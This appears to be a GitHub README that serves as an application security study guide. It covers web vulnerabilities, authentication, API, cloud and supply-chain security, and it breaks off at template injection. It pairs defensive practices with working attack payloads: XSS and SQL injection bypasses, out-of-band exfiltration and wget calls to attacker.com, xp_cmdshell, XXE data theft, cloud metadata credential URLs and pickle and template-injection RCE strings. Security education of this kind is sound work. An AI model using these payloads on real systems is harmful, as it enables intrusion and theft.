Skip to content

Complete roadmap and study guide for becoming an Application Security Engineer. Includes learning paths, hands-on labs, tools, certifications, and career resources.

Notifications You must be signed in to change notification settings

MrRockettt/Application-Security

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

24 Commits
 
 
 
 

Repository files navigation

Comprehensive Application Security Engineer Guide

A complete, detailed roadmap with extensive resources for mastering Application Security.

Table of Contents

  1. Web Application Security Deep Dive
  2. Authentication & Authorization
  3. Business Logic Vulnerabilities
  4. Modern Frontend Security
  5. API Security
  6. Cloud & Serverless Security
  7. Supply Chain Security
  8. Advanced Injection Techniques
  9. Security Headers & Browser Security
  10. Mobile Application Security
  11. Memory Safety & Low-Level Security
  12. DevSecOps & CI/CD Security
  13. Tools Arsenal
  14. Practice Labs & Platforms
  15. Books & Resources
  16. Certifications Roadmap
  17. Interview Preparation
  18. Other Resources

Web Application Security Deep Dive

1. Cross-Site Scripting (XSS)

Types of XSS:

Reflected XSS:

  • Occurs when user input is immediately returned by a web application
  • Payload is part of the request (URL, form input)
  • Non-persistent, requires social engineering
Example: https://site.com/search?q=<script>alert(document.cookie)</script>

Stored XSS:

  • Payload is stored on the server (database, file, cache)
  • Executed when other users view the stored content
  • More dangerous due to persistent nature
Example: Comment system storing malicious JavaScript

DOM-Based XSS:

  • Vulnerability exists in client-side code
  • Never sent to server, purely client-side
  • Exploits unsafe JavaScript operations
// Vulnerable code
document.getElementById('output').innerHTML = location.hash.substring(1);
// Exploit: site.com#<img src=x onerror=alert(1)>

Mutation XSS (mXSS):

  • Occurs when browsers mutate HTML in unexpected ways
  • Exploits browser parsing inconsistencies
<noscript><p title="</noscript><img src=x onerror=alert(1)>">

Advanced XSS Techniques:

Filter Bypass:

// Bypassing keyword filters
<img src=x onerror=alert`1`>
<svg onload=alert(1)>
<iframe src="javascript:alert(1)">
<img src=x onerror="&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;">

// Bypassing WAF with encoding
%3Cscript%3Ealert(1)%3C/script%3E
\u003cscript\u003ealert(1)\u003c/script\u003e

XSS in Different Contexts:

// HTML Context
<div>USER_INPUT</div>

// Attribute Context
<input value="USER_INPUT">

// JavaScript Context
<script>var x = 'USER_INPUT';</script>

// CSS Context
<style>body { background: USER_INPUT; }</style>

Resources:

2. SQL Injection (SQLi)

Types of SQL Injection:

In-Band SQLi (Classic):

-- Error-based
' OR 1=1 --
' UNION SELECT NULL, version(), NULL --

-- Union-based
' UNION SELECT username, password FROM users --

Blind SQLi:

-- Boolean-based
' AND 1=1 --  (True response)
' AND 1=2 --  (False response)

-- Time-based
' AND SLEEP(5) --
' AND (SELECT * FROM (SELECT SLEEP(5))a) --

Out-of-Band SQLi:

-- DNS exfiltration
'; EXEC xp_dirtree '//attacker.com/'+@@version+'/' --

-- Using load_file() in MySQL
' UNION SELECT load_file(concat('\\\\',version(),'.attacker.com\\')) --

Second-Order SQL Injection:

  • Input is stored safely but retrieved and used unsafely later
-- Registration: username = "admin'--"
-- Later query: UPDATE users SET status='active' WHERE username='admin'--'

Advanced Techniques:

WAF Bypass:

-- Case variation
SeLeCt * FrOm users

-- Comment injection
SELECT/**/password/**/FROM/**/users

-- Encoding
%53%45%4c%45%43%54%20%2a%20%46%52%4f%4d%20%75%73%65%72%73

-- Double encoding
%2553%2545%254c%2545%2543%2554

-- Alternative syntax
SELECT{x password}FROM{x users}

Database-Specific Exploitation:

MySQL:

-- Read files
' UNION SELECT load_file('/etc/passwd') --

-- Write files
' INTO OUTFILE '/var/www/html/shell.php' --

PostgreSQL:

-- Command execution
'; COPY (SELECT '') TO PROGRAM 'wget http://attacker.com/shell.sh' --

MSSQL:

-- Enable xp_cmdshell
'; EXEC sp_configure 'show advanced options', 1; RECONFIGURE; --
'; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; --
'; EXEC xp_cmdshell 'whoami' --

Resources:

3. Cross-Site Request Forgery (CSRF)

How CSRF Works:

<!-- Attacker's page -->
<img src="https://bank.com/transfer?to=attacker&amount=10000">

<form action="https://bank.com/transfer" method="POST" id="csrf">
  <input type="hidden" name="to" value="attacker">
  <input type="hidden" name="amount" value="10000">
</form>
<script>document.getElementById('csrf').submit();</script>

CSRF Token Bypass Techniques:

1. Check if token is validated
2. Try removing token parameter
3. Try empty token value
4. Use another user's token
5. Try changing request method (POST to GET)
6. Check for CORS misconfiguration

Login CSRF:

  • Trick user into logging into attacker's account
  • User adds sensitive data to attacker's account

Resources:

4. XML External Entity (XXE) Injection

Basic XXE:

<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<data>&xxe;</data>

Blind XXE:

<!DOCTYPE foo [
  <!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd">
  %xxe;
]>

evil.dtd:

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://attacker.com/?data=%file;'>">
%eval;
%exfil;

XXE to RCE:

<!-- Expect module (PHP)-->
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "expect://whoami">
]>

<!-- Via file upload -->
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/var/www/html/config.php">
]>

Resources:

5. Server-Side Request Forgery (SSRF)

Basic SSRF:

http://vulnerable-site.com/fetch?url=http://localhost:8080/admin
http://vulnerable-site.com/fetch?url=http://169.254.169.254/latest/meta-data/

SSRF Bypass Techniques:

# IP obfuscation
http://127.0.0.1 → http://127.1
http://127.0.0.1 → http://2130706433 (decimal)
http://127.0.0.1 → http://0x7f000001 (hex)
http://127.0.0.1 → http://0177.0.0.1 (octal)

# DNS rebinding
attacker-controlled-domain → 127.0.0.1

# URL parser confusion
http://[email protected]
http://attacker.com#expected.com
http://expected.com.attacker.com

# Protocol smuggling
dict://127.0.0.1:11211/stats
gopher://127.0.0.1:6379/_SET%20key%20value

Cloud Metadata Exploitation:

AWS:

http://169.254.169.254/latest/meta-data/iam/security-credentials/role-name

Azure:

http://169.254.169.254/metadata/instance?api-version=2021-02-01
Header: Metadata: true

GCP:

http://metadata.google.internal/computeMetadata/v1/
Header: Metadata-Flavor: Google

Resources:

6. Insecure Deserialization

Java Deserialization:

// Vulnerable code
ObjectInputStream ois = new ObjectInputStream(request.getInputStream());
Object obj = ois.readObject();

Exploitation:

  • Use ysoserial to generate payloads
java -jar ysoserial.jar CommonsCollections6 'calc.exe' | base64

PHP Deserialization:

// Vulnerable code
$data = unserialize($_COOKIE['user']);

// Magic methods exploited
__wakeup(), __destruct(), __toString()

Python Pickle:

import pickle
import os

class RCE:
    def __reduce__(self):
        return (os.system, ('whoami',))

pickle.dumps(RCE())

Resources:


Authentication & Authorization

OAuth 2.0 Security

Common OAuth Vulnerabilities:

1. Redirect URI Manipulation:

# Open redirect
redirect_uri=https://client.com/callback/../../attacker.com

# Subdomain takeover
redirect_uri=https://old-subdomain.client.com

# Path traversal
redirect_uri=https://client.com/callback/../../../attacker.com

2. State Parameter Issues:

  • Missing state parameter (CSRF)
  • Predictable state values
  • State not properly validated

3. Authorization Code Interception:

# Improper redirect_uri validation
redirect_uri=https://client.com.attacker.com
redirect_uri=https://attacker.com/client.com
redirect_uri=https://[email protected]

4. Implicit Flow Vulnerabilities:

# Token in URL fragment
https://client.com/callback#access_token=abc123&token_type=Bearer

# Token leakage via Referer header

PKCE (Proof Key for Code Exchange):

# Generate code verifier and challenge
code_verifier = random_string(43-128 chars)
code_challenge = base64url(sha256(code_verifier))

# Authorization request
/authorize?code_challenge=CHALLENGE&code_challenge_method=S256

# Token request
/token?code=AUTH_CODE&code_verifier=VERIFIER

JWT (JSON Web Token) Security

JWT Structure:

header.payload.signature
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIn0.dozjgNryP4J3jVmNHl0w5N_XgL0n3I9PlFUP0THsR8U

Common JWT Vulnerabilities:

1. Algorithm Confusion (alg: none):

{
  "alg": "none",
  "typ": "JWT"
}

2. Key Confusion (RS256 to HS256):

  • Server expects asymmetric (RS256) but accepts symmetric (HS256)
  • Use public key as HMAC secret

3. Weak Secret Keys:

# Crack JWT secret
hashcat -m 16500 jwt.txt wordlist.txt
john --wordlist=rockyou.txt --format=HMAC-SHA256 jwt.txt

4. JWT Claims Manipulation:

{
  "sub": "user123",
  "role": "admin",  // Escalate privileges
  "exp": 9999999999  // Extend expiration
}

5. JKU/X5U Header Injection:

{
  "alg": "RS256",
  "jku": "https://attacker.com/jwks.json"  // Point to attacker's keys
}

Resources:

Multi-Factor Authentication (MFA) Bypass

Common MFA Bypass Techniques:

1. Response Manipulation:

// Intercept response
{"mfa_required": true, "authenticated": false}
// Modify to
{"mfa_required": false, "authenticated": true}

2. Direct Request to Protected Resource:

  • Skip MFA step entirely
  • Access /dashboard directly after password authentication

3. CSRF on MFA Enrollment:

<form action="https://target.com/mfa/disable" method="POST">
  <input type="hidden" name="disable_mfa" value="true">
</form>

4. Brute Force OTP:

# If rate limiting is weak
for code in range(100000, 999999):
    attempt_otp(code)

5. OAuth Flow Manipulation:

  • Complete OAuth without MFA
  • Reuse old session tokens

6. Password Reset Bypass:

  • Reset password to bypass MFA
  • Check if MFA is required during reset flow

Session Management Vulnerabilities

Session Fixation:

// Vulnerable code - session ID not regenerated after login
session_start();
if (login_successful) {
    $_SESSION['user'] = $username;
}

// Attack:
1. Attacker gets session ID: PHPSESSID=abc123
2. Victim logs in with abc123
3. Attacker uses abc123 to hijack session

Session Hijacking Techniques:

1. XSS to steal cookies: document.cookie
2. Network sniffing (unencrypted HTTP)
3. Session prediction
4. Session fixation
5. CSRF

Secure Session Implementation:

// Regenerate session ID after login
session_regenerate_id(true);

// Set secure cookie flags
session_set_cookie_params([
    'lifetime' => 3600,
    'path' => '/',
    'domain' => '.example.com',
    'secure' => true,      // HTTPS only
    'httponly' => true,    // No JavaScript access
    'samesite' => 'Strict' // CSRF protection
]);

Resources:


Business Logic Vulnerabilities

Race Conditions

Time-of-Check Time-of-Use (TOCTOU):

# Vulnerable code
def transfer_money(from_account, to_account, amount):
    # Check balance
    if get_balance(from_account) >= amount:  # TOCTOU vulnerability
        time.sleep(0.1)  # Processing delay
        # Update balance
        debit(from_account, amount)
        credit(to_account, amount)

# Attack: Send multiple simultaneous requests
# Request 1: Transfer $100 (balance: $100)
# Request 2: Transfer $100 (balance: $100)
# Both checks pass before either debit occurs

Limit Overrun:

# User has $100, daily limit $100
# Send 10 simultaneous requests for $10
# All pass balance check before first completes
# Result: $100 withdrawn, balance: -$0

Testing for Race Conditions:

# Using Turbo Intruder (Burp Suite extension)
for i in range(20):
    queue(request)
engine.start(threads=20)

# Using Python
import threading
import requests

def make_request():
    requests.post('http://target.com/transfer', data={'amount': 100})

threads = [threading.Thread(target=make_request) for _ in range(20)]
for t in threads: t.start()

Price Manipulation

Common Scenarios:

1. Negative quantities
   quantity=-5&price=100  (credit instead of charge)

2. Decimal manipulation
   price=0.01 instead of price=1.00

3. Integer overflow
   quantity=2147483648 (wraps to negative)

4. Currency manipulation
   currency=USD → currency=IDR (Indonesian Rupiah)

5. Discount stacking
   Apply multiple discount codes

6. Parameter tampering
   item_price=100 → item_price=1 (client-side)

Real Example - E-commerce:

POST /checkout HTTP/1.1

items[0][id]=12345&items[0][price]=99.99&items[0][quantity]=1

Change to:

items[0][id]=12345&items[0][price]=0.01&items[0][quantity]=1

Privilege Escalation

Horizontal Privilege Escalation:

# Access another user's data
GET /api/user/1234/profile  (your user ID)
GET /api/user/5678/profile  (try other IDs - IDOR)

Vertical Privilege Escalation:

# Modify role in request
POST /api/user/update
{"user_id": 1234, "role": "admin"}

# Access admin endpoints directly
GET /admin/dashboard
GET /api/admin/users

# Parameter pollution
POST /update?role=user&role=admin

GraphQL Privilege Escalation:

# Try accessing admin fields
query {
  user(id: "123") {
    name
    email
    isAdmin
    adminSecret
  }
}

# Mutation privilege escalation
mutation {
  updateUser(id: "123", role: ADMIN) {
    id
    role
  }
}

Insecure Direct Object References (IDOR)

Common IDOR Locations:

1. User profiles: /user/12345
2. Documents: /download?file_id=678
3. API endpoints: /api/order/9101
4. Invoices: /invoice/INV-2024-001
5. Messages: /message/msg_abc123
6. Files: /files/document.pdf

IDOR Testing Techniques:

1. Sequential IDs: 1, 2, 3, 4...
2. Predictable patterns: INV-2024-001, INV-2024-002
3. Encoded IDs: Base64, Hex, UUID
4. Hash-based IDs: MD5, SHA1 of predictable values
5. Parameter pollution: id=123&id=456
6. Wildcard: id=*

Advanced IDOR Bypass:

# Numeric to array
GET /api/order/123
GET /api/order/[123,456,789]

# Add parameters
GET /api/order/123?user_id=456

# Different HTTP methods
GET /api/order/123 → 403 Forbidden
DELETE /api/order/123 → 200 OK

# Different content types
Content-Type: application/json → blocked
Content-Type: application/x-www-form-urlencoded → allowed

Account Takeover Techniques

Password Reset Vulnerabilities:

1. Token prediction/brute force
2. Token reuse
3. Token doesn't expire
4. Token sent in URL (Referer leakage)
5. Host header injection
6. Email parameter manipulation
7. Password reset link poisoning

Email Verification Bypass:

1. Response manipulation: {"verified": true}
2. Race condition during verification
3. Wildcard domain verification
4. Case sensitivity: [email protected] vs [email protected]
5. Unicode normalization

Resources:


Modern Frontend Security

Content Security Policy (CSP)

CSP Directives:

Content-Security-Policy: 
    default-src 'self';
    script-src 'self' 'nonce-random123';
    style-src 'self' 'unsafe-inline';
    img-src 'self' data: https:;
    connect-src 'self' https://api.example.com;
    font-src 'self' https://fonts.googleapis.com;
    object-src 'none';
    base-uri 'self';
    form-action 'self';
    frame-ancestors 'none';
    upgrade-insecure-requests;

CSP Bypass Techniques:

// JSONP endpoint bypass
<script src="https://trusted.com/jsonp?callback=alert"></script>

// AngularJS sandbox escape (old versions)
{{constructor.constructor('alert(1)')()}}

// Dangling markup injection
<img src='https://attacker.com?

// Base tag injection
<base href="https://attacker.com/">

CSP Nonce:

<!-- Server generates random nonce -->
<meta http-equiv="Content-Security-Policy" 
      content="script-src 'nonce-r4nd0m'">

<!-- Only scripts with matching nonce execute -->
<script nonce="r4nd0m">
  // This runs
</script>

<script>
  // This is blocked
</script>

Subresource Integrity (SRI)

<!-- Ensure CDN resources haven't been tampered with -->
<script src="https://cdn.example.com/library.js"
        integrity="sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/ux..."
        crossorigin="anonymous"></script>

<link rel="stylesheet" href="https://cdn.example.com/style.css"
      integrity="sha384-..." crossorigin="anonymous">

Generate SRI Hash:

openssl dgst -sha384 -binary library.js | openssl base64 -A

Trusted Types

// Enable Trusted Types via CSP
Content-Security-Policy: require-trusted-types-for 'script'

// Create policy
const policy = trustedTypes.createPolicy('myPolicy', {
  createHTML: (string) => {
    // Sanitize and validate
    return DOMPurify.sanitize(string);
  },
  createScriptURL: (string) => {
    // Validate script URLs
    if (string.startsWith('https://trusted.com/')) {
      return string;
    }
    throw new TypeError('Invalid script URL');
  }
});

// Use trusted types
element.innerHTML = policy.createHTML(userInput);

Single Page Application (SPA) Security

Client-Side Routing Vulnerabilities:

// Vulnerable route
router.get('/admin', (req, res) => {
  // No server-side auth check
  return <AdminPanel />;
});

// Secure route
router.get('/admin', requireAuth, requireAdmin, (req, res) => {
  return <AdminPanel />;
});

State Management Security:

// Vulnerable Redux state
{
  user: {
    id: 123,
    role: "admin",  // Don't trust client-side role
    token: "secret"  // Exposed in DevTools
  }
}

// Secure approach
- Validate permissions server-side
- Store sensitive data in HttpOnly cookies
- Use short-lived tokens

Client-Side Template Injection:

// Vulnerable Vue.js
<div v-html="userInput"></div>

// Vulnerable Angular
<div [innerHTML]="userInput"></div>

// Vulnerable React (less common)
<div dangerouslySetInnerHTML={{__html: userInput}} />

// Safe alternatives
<div>{{ userInput }}</div>  // Automatically escaped

WebSocket Security

// Secure WebSocket connection
const ws = new WebSocket('wss://example.com/socket');

// Authentication
ws.onopen = () => {
  ws.send(JSON.stringify({
    type: 'auth',
    token: getAuthToken()
  }));
};

// Validate origin server-side
app.ws('/socket', (ws, req) => {
  const origin = req.headers.origin;
  if (origin !== 'https://trusted.com') {
    ws.close();
    return;
  }
});

// Message validation
ws.onmessage = (event) => {
  const data = JSON.parse(event.data);
  // Validate message structure
  if (!isValidMessage(data)) {
    return;
  }
  processMessage(data);
};

WebSocket Vulnerabilities:

1. Missing origin validation
2. No authentication/authorization
3. CSRF attacks
4. Message injection
5. Denial of Service

Browser Storage Security

// ❌ Insecure - XSS can steal
localStorage.setItem('token', 'secret123');
sessionStorage.setItem('apiKey', 'key123');

// ✓ Secure - HttpOnly cookie (XSS can't access)
Set-Cookie: token=secret123; HttpOnly; Secure; SameSite=Strict

// IndexedDB for non-sensitive data only
const request = indexedDB.open('AppDB', 1);
request.onsuccess = (event) => {
  const db = event.target.result;
  // Store non-sensitive user preferences
};

Resources:


API Security

REST API Security

Authentication & Authorization:

API Key Security:

❌ In URL: /api/data?api_key=secret123
✓ In Header: Authorization: Bearer secret123
✓ In Cookie: HttpOnly cookie

OAuth 2.0 for APIs:

# Authorization Code Flow
GET /authorize?response_type=code&client_id=...&redirect_uri=...

# Token Exchange
POST /token
Content-Type: application/x-www-form-urlencoded

grant_type=authorization_code&code=...&redirect_uri=...

# API Request
GET /api/user/profile
Authorization: Bearer access_token

JWT Best Practices:

{
  "alg": "RS256",  // Use asymmetric algorithms
  "typ": "JWT",
  "kid": "key-id-123"
}
{
  "iss": "https://api.example.com",
  "sub": "user123",
  "aud": "api-resource",
  "exp": 1234567890,  // Short expiration
  "iat": 1234567800,
  "jti": "unique-token-id",  // Prevent replay
  "scope": ["read", "write"]
}

Rate Limiting & Throttling:

# Rate limit headers
X-RateLimit-Limit: 1000
X-RateLimit-Remaining: 999
X-RateLimit-Reset: 1234567890
Retry-After: 3600

# HTTP 429 Too Many Requests

Implementation:

from flask_limiter import Limiter

limiter = Limiter(
    app,
    key_func=lambda: request.headers.get('X-API-Key'),
    default_limits=["1000 per day", "100 per hour"]
)

@app.route("/api/data")
@limiter.limit("10 per minute")
def get_data():
    return jsonify(data)

API Versioning Security:

❌ v1.example.com/api  (subdomain takeover risk)
✓ api.example.com/v1   (path-based, secure)

# Deprecation headers
Sunset: Sat, 31 Dec 2024 23:59:59 GMT
Deprecation: true
Link: <https://api.example.com/v2>; rel="successor-version"

Input Validation:

from marshmallow import Schema, fields, validate

class UserSchema(Schema):
    username = fields.Str(
        required=True,
        validate=validate.Length(min=3, max=50)
    )
    email = fields.Email(required=True)
    age = fields.Int(
        validate=validate.Range(min=0, max=120)
    )

# Validate request
schema = UserSchema()
errors = schema.validate(request.json)
if errors:
    return jsonify(errors), 400

Mass Assignment Vulnerability:

# ❌ Vulnerable
user = User(**request.json)  # Attacker can set admin=True

# ✓ Secure - whitelist allowed fields
allowed_fields = ['username', 'email', 'age']
user_data = {k: v for k, v in request.json.items() if k in allowed_fields}
user = User(**user_data)

GraphQL Security

Introspection Attacks:

# Disable introspection in production
query IntrospectionQuery {
  __schema {
    types {
      name
      fields {
        name
        args {
          name
          type {
            name
          }
        }
      }
    }
  }
}

Disable Introspection:

const schema = new GraphQLSchema({
  query: RootQuery,
  mutation: RootMutation
});

// Disable in production
if (process.env.NODE_ENV === 'production') {
  schema = removeIntrospection(schema);
}

Query Depth & Complexity Limiting:

import depthLimit from 'graphql-depth-limit';
import { createComplexityLimitRule } from 'graphql-validation-complexity';

const server = new ApolloServer({
  schema,
  validationRules: [
    depthLimit(10),  // Max depth
    createComplexityLimitRule(1000)  // Max complexity
  ]
});

Batching Attacks:

# Attacker sends 100 queries in one request
[
  { query: "query { user(id: 1) { name } }" },
  { query: "query { user(id: 2) { name } }" },
  # ... 98 more
]

Protection:

// Limit batch size
const server = new ApolloServer({
  schema,
  context: ({ req }) => {
    if (Array.isArray(req.body) && req.body.length > 10) {
      throw new Error('Batch size too large');
    }
  }
});

Authorization in GraphQL:

// ❌ Field-level authorization in resolvers
const resolvers = {
  Query: {
    users: async (parent, args, context) => {
      if (!context.user.isAdmin) {
        throw new Error('Unauthorized');
      }
      return await User.findAll();
    }
  },
  User: {
    email: async (user, args, context) => {
      // Check if requester can see email
      if (context.user.id !== user.id && !context.user.isAdmin) {
        return null;
      }
      return user.email;
    }
  }
};

// ✓ Use authorization directive
const typeDefs = gql`
  type User {
    id: ID!
    name: String!
    email: String! @auth(requires: [ADMIN, OWNER])
  }
`;

N+1 Query Problem:

# Each user triggers a separate database query
query {
  users {
    id
    posts {  # N+1 problem
      title
    }
  }
}

Solution - DataLoader:

const DataLoader = require('dataloader');

const postLoader = new DataLoader(async (userIds) => {
  const posts = await Post.findAll({
    where: { userId: userIds }
  });
  return userIds.map(id => 
    posts.filter(post => post.userId === id)
  );
});

const resolvers = {
  User: {
    posts: (user, args, { postLoader }) => {
      return postLoader.load(user.id);
    }
  }
};

API Gateway Security

Common Misconfigurations:

# ❌ Permissive CORS
cors:
  origin: "*"
  credentials: true

# ✓ Restrictive CORS
cors:
  origin: "https://trusted-domain.com"
  credentials: true
  methods: ["GET", "POST"]
  headers: ["Content-Type", "Authorization"]

Request/Response Transformation:

# Remove sensitive headers
response:
  remove_headers:
    - X-Powered-By
    - Server
    - X-AspNet-Version
  add_headers:
    X-Content-Type-Options: nosniff
    X-Frame-Options: DENY
    Strict-Transport-Security: max-age=31536000

Resources:


Cloud & Serverless Security

AWS Security

IAM Best Practices:

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Action": [
        "s3:GetObject",
        "s3:PutObject"
      ],
      "Resource": "arn:aws:s3:::my-bucket/user/${aws:username}/*",
      "Condition": {
        "IpAddress": {
          "aws:SourceIp": "203.0.113.0/24"
        }
      }
    }
  ]
}

S3 Bucket Security:

# Check for public buckets
aws s3api get-bucket-acl --bucket my-bucket

# Block public access
aws s3api put-public-access-block \
  --bucket my-bucket \
  --public-access-block-configuration \
  "BlockPublicAcls=true,IgnorePublicAcls=true,BlockPublicPolicy=true,RestrictPublicBuckets=true"

# Enable versioning
aws s3api put-bucket-versioning \
  --bucket my-bucket \
  --versioning-configuration Status=Enabled

# Enable encryption
aws s3api put-bucket-encryption \
  --bucket my-bucket \
  --server-side-encryption-configuration \
  '{"Rules": [{"ApplyServerSideEncryptionByDefault": {"SSEAlgorithm": "AES256"}}]}'

Lambda Security:

# ❌ Hardcoded credentials
import boto3

s3 = boto3.client('s3',
    aws_access_key_id='AKIAIOSFODNN7EXAMPLE',
    aws_secret_access_key='wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY'
)

# ✓ Use IAM roles
import boto3
import os

s3 = boto3.client('s3')  # Uses Lambda execution role

# ✓ Use environment variables with encryption
api_key = os.environ.get('API_KEY')  # Encrypted at rest with KMS

Lambda Function Security:

# Least privilege IAM role
Resources:
  LambdaExecutionRole:
    Type: AWS::IAM::Role
    Properties:
      AssumeRolePolicyDocument:
        Statement:
          - Effect: Allow
            Principal:
              Service: lambda.amazonaws.com
            Action: sts:AssumeRole
      Policies:
        - PolicyName: LambdaPolicy
          PolicyDocument:
            Statement:
              - Effect: Allow
                Action:
                  - logs:CreateLogGroup
                  - logs:CreateLogStream
                  - logs:PutLogEvents
                Resource: !Sub "arn:aws:logs:${AWS::Region}:${AWS::AccountId}:*"
              - Effect: Allow
                Action:
                  - s3:GetObject
                Resource: !Sub "arn:aws:s3:::${BucketName}/uploads/*"

AWS Secrets Manager:

import boto3
import json

def get_secret():
    client = boto3.client('secretsmanager', region_name='us-east-1')
    
    response = client.get_secret_value(SecretId='prod/api/key')
    secret = json.loads(response['SecretString'])
    
    return secret['api_key']

# Use secret
api_key = get_secret()

Container Security (Docker/Kubernetes)

Dockerfile Best Practices:

# Use specific version tags
FROM node:18.17.0-alpine3.18

# Don't run as root
RUN addgroup -g 1001 -S nodejs && \
    adduser -S nodejs -u 1001

# Copy only necessary files
COPY --chown=nodejs:nodejs package*.json ./
RUN npm ci --only=production

COPY --chown=nodejs:nodejs . .

# Use non-root user
USER nodejs

# Expose only necessary ports
EXPOSE 3000

# Health check
HEALTHCHECK --interval=30s --timeout=3s \
  CMD node healthcheck.js || exit 1

CMD ["node", "server.js"]

Scan for Vulnerabilities:

# Trivy
trivy image node:18.17.0-alpine3.18

# Snyk
snyk container test node:18.17.0-alpine3.18

# Grype
grype node:18.17.0-alpine3.18

Kubernetes Security:

Pod Security Policy:

apiVersion: policy/v1beta1
kind: PodSecurityPolicy
metadata:
  name: restricted
spec:
  privileged: false
  allowPrivilegeEscalation: false
  requiredDropCapabilities:
    - ALL
  volumes:
    - 'configMap'
    - 'emptyDir'
    - 'projected'
    - 'secret'
  hostNetwork: false
  hostIPC: false
  hostPID: false
  runAsUser:
    rule: 'MustRunAsNonRoot'
  seLinux:
    rule: 'RunAsAny'
  fsGroup:
    rule: 'RunAsAny'
  readOnlyRootFilesystem: true

Network Policies:

apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: api-network-policy
spec:
  podSelector:
    matchLabels:
      app: api
  policyTypes:
    - Ingress
    - Egress
  ingress:
    - from:
      - podSelector:
          matchLabels:
            app: frontend
      ports:
        - protocol: TCP
          port: 8080
  egress:
    - to:
      - podSelector:
          matchLabels:
            app: database
      ports:
        - protocol: TCP
          port: 5432

Secrets Management:

# ❌ Don't store secrets in ConfigMap
apiVersion: v1
kind: ConfigMap
metadata:
  name: app-config
data:
  API_KEY: "secret123"  # Bad!

# ✓ Use Secrets
apiVersion: v1
kind: Secret
metadata:
  name: app-secrets
type: Opaque
data:
  API_KEY: c2VjcmV0MTIz  # Base64 encoded

# ✓✓ Better - use external secrets
# Use AWS Secrets Manager, HashiCorp Vault, etc.
apiVersion: external-secrets.io/v1beta1
kind: ExternalSecret
metadata:
  name: app-secrets
spec:
  secretStoreRef:
    name: aws-secrets-manager
  target:
    name: app-secrets
  data:
    - secretKey: API_KEY
      remoteRef:
        key: prod/api/key

Serverless Security

API Gateway Security:

# Lambda authorizer
Resources:
  ApiGatewayAuthorizer:
    Type: AWS::ApiGateway::Authorizer
    Properties:
      Name: LambdaAuthorizer
      Type: TOKEN
      AuthorizerUri: !Sub "arn:aws:apigateway:${AWS::Region}:lambda:path/2015-03-31/functions/${AuthorizerFunction.Arn}/invocations"
      AuthorizerResultTtlInSeconds: 300
      IdentitySource: method.request.header.Authorization

Lambda Authorizer:

import json
import jwt

def lambda_handler(event, context):
    token = event['authorizationToken']
    
    try:
        # Verify JWT
        payload = jwt.decode(token, 'secret', algorithms=['HS256'])
        
        # Generate policy
        return generate_policy(payload['sub'], 'Allow', event['methodArn'])
    except:
        return generate_policy('user', 'Deny', event['methodArn'])

def generate_policy(principal_id, effect, resource):
    return {
        'principalId': principal_id,
        'policyDocument': {
            'Version': '2012-10-17',
            'Statement': [{
                'Action': 'execute-api:Invoke',
                'Effect': effect,
                'Resource': resource
            }]
        }
    }

Event Injection:

# ❌ Vulnerable to event injection
def lambda_handler(event, context):
    user_id = event['pathParameters']['userId']
    
    # Execute command based on user input
    os.system(f"process_user {user_id}")  # Command injection!

# ✓ Secure
import subprocess
import shlex

def lambda_handler(event, context):
    user_id = event['pathParameters']['userId']
    
    # Validate input
    if not user_id.isalnum():
        return {'statusCode': 400, 'body': 'Invalid user ID'}
    
    # Use subprocess with array
    subprocess.run(['process_user', user_id], check=True)

Resources:


Supply Chain Security

Dependency Confusion

Attack Scenario:

1. Attacker finds internal package: @company/[email protected]
2. Attacker publishes malicious: @company/[email protected] to npm
3. Build system pulls higher version from public registry
4. Malicious code executed in company's infrastructure

Prevention:

// .npmrc
@company:registry=https://npm.company.com/
registry=https://registry.npmjs.org/

// package.json - lock down dependencies
{
  "dependencies": {
    "@company/auth-lib": "npm:@company/[email protected]"
  }
}

Typosquatting Detection

# Check for similar package names
npm search react-dom
npm search reactdom
npm search react-domm

# Use tools
npm install -g @socketregistry/typosquat
typosquat check package.json

Software Bill of Materials (SBOM)

# Generate SBOM with Syft
syft packages dir:. -o json > sbom.json

# Generate SBOM with CycloneDX
cyclonedx-bom -o sbom.xml

# Scan SBOM for vulnerabilities
grype sbom:./sbom.json

Lock File Security

# npm
npm ci  # Install from package-lock.json exactly

# Verify integrity
npm audit

# yarn
yarn install --frozen-lockfile

# pnpm
pnpm install --frozen-lockfile

Code Signing & Verification

# Sign npm package
npm pack
gpg --detach-sign --armor package.tgz

# Verify
gpg --verify package.tgz.asc package.tgz

# Docker image signing with Cosign
cosign sign --key cosign.key image:tag

# Verify
cosign verify --key cosign.pub image:tag

Private Registry Security

# Artifactory/Nexus security
repositories:
  - id: company-private
    url: https://artifacts.company.com/maven2
    authentication:
      type: token
    policies:
      - block-public-dependencies: false
      - scan-on-upload: true
      - quarantine-on-critical: true

Resources:


Advanced Injection Techniques

Server-Side Template Injection (SSTI)

Jinja2 (Python/Flask):

# Vulnerable code
from flask import Flask, request, render_template_string

@app.route('/hello')
def hello():
    name = request.args.get('name')
    template = f'<h1>Hello {name}!</h1>'
    return render_template_string(template)  # SSTI vulnerability

# Exploitation
{{7*7}}  # Test: returns 49
{{config.items()}}  # Dump config
{{''.__class__.__mro__[1].__subclasses__()}}  # Get classes
{{''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read()}}  # RCE

Freemarker (Java):

// Vulnerable code
Template template = cfg.getTemplate("hello.ftl");
Map<String, Object> data = new HashMap<>();
data.put("name", request.getParameter("name"));
template.process(data, out);

// Exploitation
${"freemarker.template.utility.Execute"?new()("calc.exe")}
<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("id") }

Twig (PHP):

// Vulnerable
$twig = new Twig_Environment($loader);
echo $twig->render('hello.html', ['name' => $_GET['name']]);

// Exploitation
